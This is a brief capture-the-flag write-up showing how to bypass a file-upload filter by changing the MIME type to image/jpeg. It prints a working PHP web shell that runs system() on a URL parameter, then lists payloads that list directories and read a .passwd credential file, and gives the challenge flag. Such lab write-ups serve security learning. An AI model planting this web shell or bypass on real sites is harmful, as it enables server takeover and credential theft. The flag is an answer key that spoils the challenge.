Same like File-upload-Double-extensions, just this time we need to change the MIME_type from application/octet-stream to image/jpge Here we try to upload our webshell.php file:

<?php
if (isset($_GET['cmd'])) {
    echo "<pre>" . system($_GET['cmd']) . "</pre>";
}
?>

However, we get this message: Wrong file extension !, so let’s change the MIME_type from application/octet-stream to image/jpge

Now, i look for .passwd file, just insert this payload ?cmd=ls . -la, and then if not, move down: ?cmd=ls ../.. -la

Last payload will be: cat ../../../.passwd

Flag: a7n4nizpgQgnPERy89uanf6T4